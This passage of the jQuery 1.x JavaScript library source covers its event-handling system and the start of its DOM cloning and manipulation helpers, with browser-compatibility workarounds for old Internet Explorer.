});
div.cloneNode( true ).click();
}
// Execute the test only if not already executed in another module.
if (support.deleteExpando == null) {
// Support: IE<9
support.deleteExpando = true;
try {
delete div.test;
} catch( e ) {
support.deleteExpando = false;
}
}
})();
(function() {
var i, eventName,
div = document.createElement( "div" );
// Support: IE<9 (lack submit/change bubble), Firefox 23+ (lack focusin event)
for ( i in { submit: true, change: true, focusin: true }) {
eventName = "on" + i;
if ( !(support[ i + "Bubbles" ] = eventName in window) ) {
// Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP)
div.setAttribute( eventName, "t" );
support[ i + "Bubbles" ] = div.attributes[ eventName ].expando === false;
}
}
// Null elements to avoid leaks in IE.
div = null;
})();
var rformElems = /^(?:input|select|textarea)$/i,
rkeyEvent = /^key/,
rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
function returnTrue() {
return true;
}
function returnFalse() {
return false;
}
function safeActiveElement() {
try {
return document.activeElement;
} catch ( err ) { }
}
/*
* Helper functions for managing events -- not part of the public interface.
* Props to Dean Edwards' addEvent library for many of the ideas.
*/
jQuery.event = {
global: {},
add: function( elem, types, handler, data, selector ) {
var tmp, events, t, handleObjIn,
special, eventHandle, handleObj,
handlers, type, namespaces, origType,
elemData = jQuery._data( elem );
// Don't attach events to noData or text/comment nodes (but allow plain objects)
if ( !elemData ) {
return;
}
// Caller can pass in an object of custom data in lieu of the handler
if ( handler.handler ) {
handleObjIn = handler;
handler = handleObjIn.handler;
selector = handleObjIn.selector;
}
// Make sure that the handler has a unique ID, used to find/remove it later
if ( !handler.guid ) {
handler.guid = jQuery.guid++;
}
// Init the element's event structure and main handler, if this is the first
if ( !(events = elemData.events) ) {
events = elemData.events = {};
}
if ( !(eventHandle = elemData.handle) ) {
eventHandle = elemData.handle = function( e ) {
// Discard the second event of a jQuery.event.trigger() and
// when an event is called after a page has unloaded
return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ?
jQuery.event.dispatch.apply( eventHandle.elem, arguments ) :
undefined;
};
// Add elem as a property of the handle fn to prevent a memory leak with IE non-native events
eventHandle.elem = elem;
}
// Handle multiple events separated by a space
types = ( types || "" ).match( rnotwhite ) || [ "" ];
t = types.length;
while ( t-- ) {
tmp = rtypenamespace.exec( types[t] ) || [];
type = origType = tmp[1];
namespaces = ( tmp[2] || "" ).split( "." ).sort();
// There *must* be a type, no attaching namespace-only handlers
if ( !type ) {
continue;
}
// If event changes its type, use the special event handlers for the changed type
special = jQuery.event.special[ type ] || {};
// If selector defined, determine special event api type, otherwise given type
type = ( selector ? special.delegateType : special.bindType ) || type;
// Update special based on newly reset type
special = jQuery.event.special[ type ] || {};
// handleObj is passed to all event handlers
handleObj = jQuery.extend({
type: type,
origType: origType,
data: data,
handler: handler,
guid: handler.guid,
selector: selector,
needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
namespace: namespaces.join(".")
}, handleObjIn );
// Init the event handler queue if we're the first
if ( !(handlers = events[ type ]) ) {
handlers = events[ type ] = [];
handlers.delegateCount = 0;
// Only use addEventListener/attachEvent if the special events handler returns false
if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
// Bind the global event handler to the element
if ( elem.addEventListener ) {
elem.addEventListener( type, eventHandle, false );
} else if ( elem.attachEvent ) {
elem.attachEvent( "on" + type, eventHandle );
}
}
}
if ( special.add ) {
special.add.call( elem, handleObj );
if ( !handleObj.handler.guid ) {
handleObj.handler.guid = handler.guid;
}
}
// Add to the element's handler list, delegates in front
if ( selector ) {
handlers.splice( handlers.delegateCount++, 0, handleObj );
} else {
handlers.push( handleObj );
}
// Keep track of which events have ever been used, for event optimization
jQuery.event.global[ type ] = true;
}
// Nullify elem to prevent memory leaks in IE
elem = null;
},
// Detach an event or set of events from an element
remove: function( elem, types, handler, selector, mappedTypes ) {
var j, handleObj, tmp,
origCount, t, events,
special, handlers, type,
namespaces, origType,
elemData = jQuery.hasData( elem ) && jQuery._data( elem );
if ( !elemData || !(events = elemData.events) ) {
return;
}
// Once for each type.namespace in types; type may be omitted
types = ( types || "" ).match( rnotwhite ) || [ "" ];
t = types.length;
while ( t-- ) {
tmp = rtypenamespace.exec( types[t] ) || [];
type = origType = tmp[1];
namespaces = ( tmp[2] || "" ).split( "." ).sort();
// Unbind all events (on this namespace, if provided) for the element
if ( !type ) {
for ( type in events ) {
jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
}
continue;
}
special = jQuery.event.special[ type ] || {};
type = ( selector ? special.delegateType : special.bindType ) || type;
handlers = events[ type ] || [];
tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" );
// Remove matching events
origCount = j = handlers.length;
while ( j-- ) {
handleObj = handlers[ j ];
if ( ( mappedTypes || origType === handleObj.origType ) &&
( !handler || handler.guid === handleObj.guid ) &&
( !tmp || tmp.test( handleObj.namespace ) ) &&
( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
handlers.splice( j, 1 );
if ( handleObj.selector ) {
handlers.delegateCount--;
}
if ( special.remove ) {
special.remove.call( elem, handleObj );
}
}
}
// Remove generic event handler if we removed something and no more handlers exist
// (avoids potential for endless recursion during removal of special event handlers)
if ( origCount && !handlers.length ) {
if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
jQuery.removeEvent( elem, type, elemData.handle );
}
delete events[ type ];
}
}
// Remove the expando if it's no longer used
if ( jQuery.isEmptyObject( events ) ) {
delete elemData.handle;
// removeData also checks for emptiness and clears the expando if empty
// so use it instead of delete
jQuery._removeData( elem, "events" );
}
},
trigger: function( event, data, elem, onlyHandlers ) {
var handle, ontype, cur,
bubbleType, special, tmp, i,
eventPath = [ elem || document ],
type = hasOwn.call( event, "type" ) ? event.type : event,
namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : [];
cur = tmp = elem = elem || document;
// Don't do events on text and comment nodes
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
return;
}
// focus/blur morphs to focusin/out; ensure we're not firing them right now
if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
return;
}
if ( type.indexOf(".") >= 0 ) {
// Namespaced trigger; create a regexp to match event type in handle()
namespaces = type.split(".");
type = namespaces.shift();
namespaces.sort();
}
ontype = type.indexOf(":") < 0 && "on" + type;
// Caller can pass in a jQuery.Event object, Object, or just an event type string
event = event[ jQuery.expando ] ?
event :
new jQuery.Event( type, typeof event === "object" && event );
// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
event.isTrigger = onlyHandlers ? 2 : 3;
event.namespace = namespaces.join(".");
event.namespace_re = event.namespace ?
new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) :
null;
// Clean up the event in case it is being reused
event.result = undefined;
if ( !event.target ) {
event.target = elem;
}
// Clone any incoming data and prepend the event, creating the handler arg list
data = data == null ?
[ event ] :
jQuery.makeArray( data, [ event ] );
// Allow special events to draw outside the lines
special = jQuery.event.special[ type ] || {};
if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
return;
}
// Determine event propagation path in advance, per W3C events spec (#9951)
// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
bubbleType = special.delegateType || type;
if ( !rfocusMorph.test( bubbleType + type ) ) {
cur = cur.parentNode;
}
for ( ; cur; cur = cur.parentNode ) {
eventPath.push( cur );
tmp = cur;
}
// Only add window if we got to document (e.g., not plain obj or detached DOM)
if ( tmp === (elem.ownerDocument || document) ) {
eventPath.push( tmp.defaultView || tmp.parentWindow || window );
}
}
// Fire handlers on the event path
i = 0;
while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) {
event.type = i > 1 ?
bubbleType :
special.bindType || type;
// jQuery handler
handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" );
if ( handle ) {
handle.apply( cur, data );
}
// Native handler
handle = ontype && cur[ ontype ];
if ( handle && handle.apply && jQuery.acceptData( cur ) ) {
event.result = handle.apply( cur, data );
if ( event.result === false ) {
event.preventDefault();
}
}
}
event.type = type;
// If nobody prevented the default action, do it now
if ( !onlyHandlers && !event.isDefaultPrevented() ) {
if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) &&
jQuery.acceptData( elem ) ) {
// Call a native DOM method on the target with the same name name as the event.
// Can't use an .isFunction() check here because IE6/7 fails that test.
// Don't do default actions on window, that's where global variables be (#6170)
if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) {
// Don't re-trigger an onFOO event when we call its FOO() method
tmp = elem[ ontype ];
if ( tmp ) {
elem[ ontype ] = null;
}
// Prevent re-triggering of the same event, since we already bubbled it above
jQuery.event.triggered = type;
try {
elem[ type ]();
} catch ( e ) {
// IE<9 dies on focus/blur to hidden element (#1486,#12518)
// only reproducible on winXP IE8 native, not IE9 in IE8 mode
}
jQuery.event.triggered = undefined;
if ( tmp ) {
elem[ ontype ] = tmp;
}
}
}
}
return event.result;
},
dispatch: function( event ) {
// Make a writable jQuery.Event from the native event object
event = jQuery.event.fix( event );
var i, ret, handleObj, matched, j,
handlerQueue = [],
args = slice.call( arguments ),
handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [],
special = jQuery.event.special[ event.type ] || {};
// Use the fix-ed jQuery.Event rather than the (read-only) native event
args[0] = event;
event.delegateTarget = this;
// Call the preDispatch hook for the mapped type, and let it bail if desired
if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
return;
}
// Determine handlers
handlerQueue = jQuery.event.handlers.call( this, event, handlers );
// Run delegates first; they may want to stop propagation beneath us
i = 0;
while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) {
event.currentTarget = matched.elem;
j = 0;
while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) {
// Triggered event must either 1) have no namespace, or
// 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).
if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) {
event.handleObj = handleObj;
event.data = handleObj.data;
ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )
.apply( matched.elem, args );
if ( ret !== undefined ) {
if ( (event.result = ret) === false ) {
event.preventDefault();
event.stopPropagation();
}
}
}
}
}
// Call the postDispatch hook for the mapped type
if ( special.postDispatch ) {
special.postDispatch.call( this, event );
}
return event.result;
},
handlers: function( event, handlers ) {
var sel, handleObj, matches, i,
handlerQueue = [],
delegateCount = handlers.delegateCount,
cur = event.target;
// Find delegate handlers
// Black-hole SVG <use> instance trees (#13180)
// Avoid non-left-click bubbling in Firefox (#3861)
if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) {
/* jshint eqeqeq: false */
for ( ; cur != this; cur = cur.parentNode || this ) {
/* jshint eqeqeq: true */
// Don't check non-elements (#13208)
// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
if ( cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click") ) {
matches = [];
for ( i = 0; i < delegateCount; i++ ) {
handleObj = handlers[ i ];
// Don't conflict with Object.prototype properties (#13203)
sel = handleObj.selector + " ";
if ( matches[ sel ] === undefined ) {
matches[ sel ] = handleObj.needsContext ?
jQuery( sel, this ).index( cur ) >= 0 :
jQuery.find( sel, this, null, [ cur ] ).length;
}
if ( matches[ sel ] ) {
matches.push( handleObj );
}
}
if ( matches.length ) {
handlerQueue.push({ elem: cur, handlers: matches });
}
}
}
}
// Add the remaining (directly-bound) handlers
if ( delegateCount < handlers.length ) {
handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) });
}
return handlerQueue;
},
fix: function( event ) {
if ( event[ jQuery.expando ] ) {
return event;
}
// Create a writable copy of the event object and normalize some properties
var i, prop, copy,
type = event.type,
originalEvent = event,
fixHook = this.fixHooks[ type ];
if ( !fixHook ) {
this.fixHooks[ type ] = fixHook =
rmouseEvent.test( type ) ? this.mouseHooks :
rkeyEvent.test( type ) ? this.keyHooks :
{};
}
copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
event = new jQuery.Event( originalEvent );
i = copy.length;
while ( i-- ) {
prop = copy[ i ];
event[ prop ] = originalEvent[ prop ];
}
// Support: IE<9
// Fix target property (#1925)
if ( !event.target ) {
event.target = originalEvent.srcElement || document;
}
// Support: Chrome 23+, Safari?
// Target should not be a text node (#504, #13143)
if ( event.target.nodeType === 3 ) {
event.target = event.target.parentNode;
}
// Support: IE<9
// For mouse/key events, metaKey==false if it's undefined (#3368, #11328)
event.metaKey = !!event.metaKey;
return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
},
// Includes some event props shared by KeyEvent and MouseEvent
props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
fixHooks: {},
keyHooks: {
props: "char charCode key keyCode".split(" "),
filter: function( event, original ) {
// Add which for key events
if ( event.which == null ) {
event.which = original.charCode != null ? original.charCode : original.keyCode;
}
return event;
}
},
mouseHooks: {
props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
filter: function( event, original ) {
var body, eventDoc, doc,
button = original.button,
fromElement = original.fromElement;
// Calculate pageX/Y if missing and clientX/Y available
if ( event.pageX == null && original.clientX != null ) {
eventDoc = event.target.ownerDocument || document;
doc = eventDoc.documentElement;
body = eventDoc.body;
event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );
event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 );
}
// Add relatedTarget, if necessary
if ( !event.relatedTarget && fromElement ) {
event.relatedTarget = fromElement === event.target ? original.toElement : fromElement;
}
// Add which for click: 1 === left; 2 === middle; 3 === right
// Note: button is not normalized, so don't use it
if ( !event.which && button !== undefined ) {
event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
}
return event;
}
},
special: {
load: {
// Prevent triggered image.load events from bubbling to window.load
noBubble: true
},
focus: {
// Fire native event if possible so blur/focus sequence is correct
trigger: function() {
if ( this !== safeActiveElement() && this.focus ) {
try {
this.focus();
return false;
} catch ( e ) {
// Support: IE<9
// If we error on focus to hidden element (#1486, #12518),
// let .trigger() run the handlers
}
}
},
delegateType: "focusin"
},
blur: {
trigger: function() {
if ( this === safeActiveElement() && this.blur ) {
this.blur();
return false;
}
},
delegateType: "focusout"
},
click: {
// For checkbox, fire native event so checked state will be right
trigger: function() {
if ( jQuery.nodeName( this, "input" ) && this.type === "checkbox" && this.click ) {
this.click();
return false;
}
},
// For cross-browser consistency, don't fire native .click() on links
_default: function( event ) {
return jQuery.nodeName( event.target, "a" );
}
},
beforeunload: {
postDispatch: function( event ) {
// Support: Firefox 20+
// Firefox doesn't alert if the returnValue field is not set.
if ( event.result !== undefined && event.originalEvent ) {
event.originalEvent.returnValue = event.result;
}
}
}
},
simulate: function( type, elem, event, bubble ) {
// Piggyback on a donor event to simulate a different one.
// Fake originalEvent to avoid donor's stopPropagation, but if the
// simulated event prevents default then we do the same on the donor.
var e = jQuery.extend(
new jQuery.Event(),
event,
{
type: type,
isSimulated: true,
originalEvent: {}
}
);
if ( bubble ) {
jQuery.event.trigger( e, null, elem );
} else {
jQuery.event.dispatch.call( elem, e );
}
if ( e.isDefaultPrevented() ) {
event.preventDefault();
}
}
};
jQuery.removeEvent = document.removeEventListener ?
function( elem, type, handle ) {
if ( elem.removeEventListener ) {
elem.removeEventListener( type, handle, false );
}
} :
function( elem, type, handle ) {
var name = "on" + type;
if ( elem.detachEvent ) {
// #8545, #7054, preventing memory leaks for custom events in IE6-8
// detachEvent needed property on element, by name of that event, to properly expose it to GC
if ( typeof elem[ name ] === strundefined ) {
elem[ name ] = null;
}
elem.detachEvent( name, handle );
}
};
jQuery.Event = function( src, props ) {
// Allow instantiation without the 'new' keyword
if ( !(this instanceof jQuery.Event) ) {
return new jQuery.Event( src, props );
}
// Event object
if ( src && src.type ) {
this.originalEvent = src;
this.type = src.type;
// Events bubbling up the document may have been marked as prevented
// by a handler lower down the tree; reflect the correct value.
this.isDefaultPrevented = src.defaultPrevented ||
src.defaultPrevented === undefined &&
// Support: IE < 9, Android < 4.0
src.returnValue === false ?
returnTrue :
returnFalse;
// Event type
} else {
this.type = src;
}
// Put explicitly provided properties onto the event object
if ( props ) {
jQuery.extend( this, props );
}
// Create a timestamp if incoming event doesn't have one
this.timeStamp = src && src.timeStamp || jQuery.now();
// Mark it as fixed
this[ jQuery.expando ] = true;
};
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
isDefaultPrevented: returnFalse,
isPropagationStopped: returnFalse,
isImmediatePropagationStopped: returnFalse,
preventDefault: function() {
var e = this.originalEvent;
this.isDefaultPrevented = returnTrue;
if ( !e ) {
return;
}
// If preventDefault exists, run it on the original event
if ( e.preventDefault ) {
e.preventDefault();
// Support: IE
// Otherwise set the returnValue property of the original event to false
} else {
e.returnValue = false;
}
},
stopPropagation: function() {
var e = this.originalEvent;
this.isPropagationStopped = returnTrue;
if ( !e ) {
return;
}
// If stopPropagation exists, run it on the original event
if ( e.stopPropagation ) {
e.stopPropagation();
}
// Support: IE
// Set the cancelBubble property of the original event to true
e.cancelBubble = true;
},
stopImmediatePropagation: function() {
var e = this.originalEvent;
this.isImmediatePropagationStopped = returnTrue;
if ( e && e.stopImmediatePropagation ) {
e.stopImmediatePropagation();
}
this.stopPropagation();
}
};
// Create mouseenter/leave events using mouseover/out and event-time checks
jQuery.each({
mouseenter: "mouseover",
mouseleave: "mouseout",
pointerenter: "pointerover",
pointerleave: "pointerout"
}, function( orig, fix ) {
jQuery.event.special[ orig ] = {
delegateType: fix,
bindType: fix,
handle: function( event ) {
var ret,
target = this,
related = event.relatedTarget,
handleObj = event.handleObj;
// For mousenter/leave call the handler if related is outside the target.
// NB: No relatedTarget if the mouse left/entered the browser window
if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
event.type = handleObj.origType;
ret = handleObj.handler.apply( this, arguments );
event.type = fix;
}
return ret;
}
};
});
// IE submit delegation
if ( !support.submitBubbles ) {
jQuery.event.special.submit = {
setup: function() {
// Only need this for delegated form submit events
if ( jQuery.nodeName( this, "form" ) ) {
return false;
}
// Lazy-add a submit handler when a descendant form may potentially be submitted
jQuery.event.add( this, "click._submit keypress._submit", function( e ) {
// Node name check avoids a VML-related crash in IE (#9807)
var elem = e.target,
form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined;
if ( form && !jQuery._data( form, "submitBubbles" ) ) {
jQuery.event.add( form, "submit._submit", function( event ) {
event._submit_bubble = true;
});
jQuery._data( form, "submitBubbles", true );
}
});
// return undefined since we don't need an event listener
},
postDispatch: function( event ) {
// If form was submitted by the user, bubble the event up the tree
if ( event._submit_bubble ) {
delete event._submit_bubble;
if ( this.parentNode && !event.isTrigger ) {
jQuery.event.simulate( "submit", this.parentNode, event, true );
}
}
},
teardown: function() {
// Only need this for delegated form submit events
if ( jQuery.nodeName( this, "form" ) ) {
return false;
}
// Remove delegated handlers; cleanData eventually reaps submit handlers attached above
jQuery.event.remove( this, "._submit" );
}
};
}
// IE change delegation and checkbox/radio fix
if ( !support.changeBubbles ) {
jQuery.event.special.change = {
setup: function() {
if ( rformElems.test( this.nodeName ) ) {
// IE doesn't fire change on a check/radio until blur; trigger it on click
// after a propertychange. Eat the blur-change in special.change.handle.
// This still fires onchange a second time for check/radio after blur.
if ( this.type === "checkbox" || this.type === "radio" ) {
jQuery.event.add( this, "propertychange._change", function( event ) {
if ( event.originalEvent.propertyName === "checked" ) {
this._just_changed = true;
}
});
jQuery.event.add( this, "click._change", function( event ) {
if ( this._just_changed && !event.isTrigger ) {
this._just_changed = false;
}
// Allow triggered, simulated change events (#11500)
jQuery.event.simulate( "change", this, event, true );
});
}
return false;
}
// Delegated event; lazy-add a change handler on descendant inputs
jQuery.event.add( this, "beforeactivate._change", function( e ) {
var elem = e.target;
if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) {
jQuery.event.add( elem, "change._change", function( event ) {
if ( this.parentNode && !event.isSimulated && !event.isTrigger ) {
jQuery.event.simulate( "change", this.parentNode, event, true );
}
});
jQuery._data( elem, "changeBubbles", true );
}
});
},
handle: function( event ) {
var elem = event.target;
// Swallow native change events from checkbox/radio, we already triggered them above
if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) {
return event.handleObj.handler.apply( this, arguments );
}
},
teardown: function() {
jQuery.event.remove( this, "._change" );
return !rformElems.test( this.nodeName );
}
};
}
// Create "bubbling" focus and blur events
if ( !support.focusinBubbles ) {
jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
// Attach a single capturing handler on the document while someone wants focusin/focusout
var handler = function( event ) {
jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
};
jQuery.event.special[ fix ] = {
setup: function() {
var doc = this.ownerDocument || this,
attaches = jQuery._data( doc, fix );
if ( !attaches ) {
doc.addEventListener( orig, handler, true );
}
jQuery._data( doc, fix, ( attaches || 0 ) + 1 );
},
teardown: function() {
var doc = this.ownerDocument || this,
attaches = jQuery._data( doc, fix ) - 1;
if ( !attaches ) {
doc.removeEventListener( orig, handler, true );
jQuery._removeData( doc, fix );
} else {
jQuery._data( doc, fix, attaches );
}
}
};
});
}
jQuery.fn.extend({
on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
var type, origFn;
// Types can be a map of types/handlers
if ( typeof types === "object" ) {
// ( types-Object, selector, data )
if ( typeof selector !== "string" ) {
// ( types-Object, data )
data = data || selector;
selector = undefined;
}
for ( type in types ) {
this.on( type, selector, data, types[ type ], one );
}
return this;
}
if ( data == null && fn == null ) {
// ( types, fn )
fn = selector;
data = selector = undefined;
} else if ( fn == null ) {
if ( typeof selector === "string" ) {
// ( types, selector, fn )
fn = data;
data = undefined;
} else {
// ( types, data, fn )
fn = data;
data = selector;
selector = undefined;
}
}
if ( fn === false ) {
fn = returnFalse;
} else if ( !fn ) {
return this;
}
if ( one === 1 ) {
origFn = fn;
fn = function( event ) {
// Can use an empty set, since event contains the info
jQuery().off( event );
return origFn.apply( this, arguments );
};
// Use same guid so caller can remove using origFn
fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
}
return this.each( function() {
jQuery.event.add( this, types, fn, data, selector );
});
},
one: function( types, selector, data, fn ) {
return this.on( types, selector, data, fn, 1 );
},
off: function( types, selector, fn ) {
var handleObj, type;
if ( types && types.preventDefault && types.handleObj ) {
// ( event ) dispatched jQuery.Event
handleObj = types.handleObj;
jQuery( types.delegateTarget ).off(
handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType,
handleObj.selector,
handleObj.handler
);
return this;
}
if ( typeof types === "object" ) {
// ( types-object [, selector] )
for ( type in types ) {
this.off( type, selector, types[ type ] );
}
return this;
}
if ( selector === false || typeof selector === "function" ) {
// ( types [, fn] )
fn = selector;
selector = undefined;
}
if ( fn === false ) {
fn = returnFalse;
}
return this.each(function() {
jQuery.event.remove( this, types, fn, selector );
});
},
trigger: function( type, data ) {
return this.each(function() {
jQuery.event.trigger( type, data, this );
});
},
triggerHandler: function( type, data ) {
var elem = this[0];
if ( elem ) {
return jQuery.event.trigger( type, data, elem, true );
}
}
});
function createSafeFragment( document ) {
var list = nodeNames.split( "|" ),
safeFrag = document.createDocumentFragment();
if ( safeFrag.createElement ) {
while ( list.length ) {
safeFrag.createElement(
list.pop()
);
}
}
return safeFrag;
}
var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" +
"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
rleadingWhitespace = /^\s+/,
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
rtagName = /<([\w:]+)/,
rtbody = /<tbody/i,
rhtml = /<|&#?\w+;/,
rnoInnerhtml = /<(?:script|style|link)/i,
// checked="checked" or checked
rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
rscriptType = /^$|\/(?:java|ecma)script/i,
rscriptTypeMasked = /^true\/(.*)/,
rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
// We have to close these tags to support XHTML (#13200)
wrapMap = {
option: [ 1, "<select multiple='multiple'>", "</select>" ],
legend: [ 1, "<fieldset>", "</fieldset>" ],
area: [ 1, "<map>", "</map>" ],
param: [ 1, "<object>", "</object>" ],
thead: [ 1, "<table>", "</table>" ],
tr: [ 2, "<table><tbody>", "</tbody></table>" ],
col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ],
td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
// IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,
// unless wrapped in a div with non-breaking characters in front of it.
_default: support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X<div>", "</div>" ]
},
safeFragment = createSafeFragment( document ),
fragmentDiv = safeFragment.appendChild( document.createElement("div") );
wrapMap.optgroup = wrapMap.option;
wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
wrapMap.th = wrapMap.td;
function getAll( context, tag ) {
var elems, elem,
i = 0,
found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName( tag || "*" ) :
typeof context.querySelectorAll !== strundefined ? context.querySelectorAll( tag || "*" ) :
undefined;
if ( !found ) {
for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) {
if ( !tag || jQuery.nodeName( elem, tag ) ) {
found.push( elem );
} else {
jQuery.merge( found, getAll( elem, tag ) );
}
}
}
return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
jQuery.merge( [ context ], found ) :
found;
}
// Used in buildFragment, fixes the defaultChecked property
function fixDefaultChecked( elem ) {
if ( rcheckableType.test( elem.type ) ) {
elem.defaultChecked = elem.checked;
}
}
// Support: IE<8
// Manipulating tables requires a tbody
function manipulationTarget( elem, content ) {
return jQuery.nodeName( elem, "table" ) &&
jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ?
elem.getElementsByTagName("tbody")[0] ||
elem.appendChild( elem.ownerDocument.createElement("tbody") ) :
elem;
}
// Replace/restore the type attribute of script elements for safe DOM manipulation
function disableScript( elem ) {
elem.type = (jQuery.find.attr( elem, "type" ) !== null) + "/" + elem.type;
return elem;
}
function restoreScript( elem ) {
var match = rscriptTypeMasked.exec( elem.type );
if ( match ) {
elem.type = match[1];
} else {
elem.removeAttribute("type");
}
return elem;
}
// Mark scripts as having already been evaluated
function setGlobalEval( elems, refElements ) {
var elem,
i = 0;
for ( ; (elem = elems[i]) != null; i++ ) {
jQuery._data( elem, "globalEval", !refElements || jQuery._data( refElements[i], "globalEval" ) );
}
}
function cloneCopyEvent( src, dest ) {
if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {
return;
}
var type, i, l,
oldData = jQuery._data( src ),
curData = jQuery._data( dest, oldData ),
events = oldData.events;
if ( events ) {
delete curData.handle;
curData.events = {};
for ( type in events ) {
for ( i = 0, l = events[ type ].length; i < l; i++ ) {
jQuery.event.add( dest, type, events[ type ][ i ] );
}
}
}
// make the cloned public data object a copy from the original
if ( curData.data ) {
curData.data = jQuery.extend( {}, curData.data );
}
}
function fixCloneNodeIssues( src, dest ) {
var nodeName, e, data;
// We do not need to do anything for non-Elements
if ( dest.nodeType !== 1 ) {
return;
}
nodeName = dest.nodeName.toLowerCase();
// IE6-8 copies events bound via attachEvent when using cloneNode.
if ( !support.noCloneEvent && dest[ jQuery.expando ] ) {
data = jQuery._data( dest );
for ( e in data.events ) {
jQuery.removeEvent( dest, e, data.handle );
}
// Event data gets referenced instead of copied if the expando gets copied too
dest.removeAttribute( jQuery.expando );
}
// IE blanks contents when cloning scripts, and tries to evaluate newly-set text
if ( nodeName === "script" && dest.text !== src.text ) {
disableScript( dest ).text = src.text;
restoreScript( dest );
// IE6-10 improperly clones children of object elements using classid.
// IE10 throws NoModificationAllowedError if parent is null, #12132.
} else if ( nodeName === "object" ) {
if ( dest.parentNode ) {
dest.outerHTML = src.outerHTML;
}
// This path appears unavoidable for IE9. When cloning an object
// element in IE9, the outerHTML strategy above is not sufficient.
// If the src has innerHTML and the destination does not,
// copy the src.innerHTML into the dest.innerHTML. #10324
if ( support.html5Clone && ( src.innerHTML && !jQuery.trim(dest.innerHTML) ) ) {
dest.innerHTML = src.innerHTML;
}
} else if ( nodeName === "input" && rcheckableType.test( src.type ) ) {
// IE6-8 fails to persist the checked state of a cloned checkbox
// or radio button. Worse, IE6-7 fail to give the cloned element
// a checked appearance if the defaultChecked value isn't also set
dest.defaultChecked = dest.checked = src.checked;
// IE6-7 get confused and end up setting the value of a cloned
// checkbox/radio button to an empty string instead of "on"
if ( dest.value !== src.value ) {
dest.value = src.value;
}
// IE6-8 fails to return the selected option to the default selected
// state when cloning options
} else if ( nodeName === "option" ) {
dest.defaultSelected = dest.selected = src.defaultSelected;
// IE6-8 fails to set the defaultValue to the correct value when
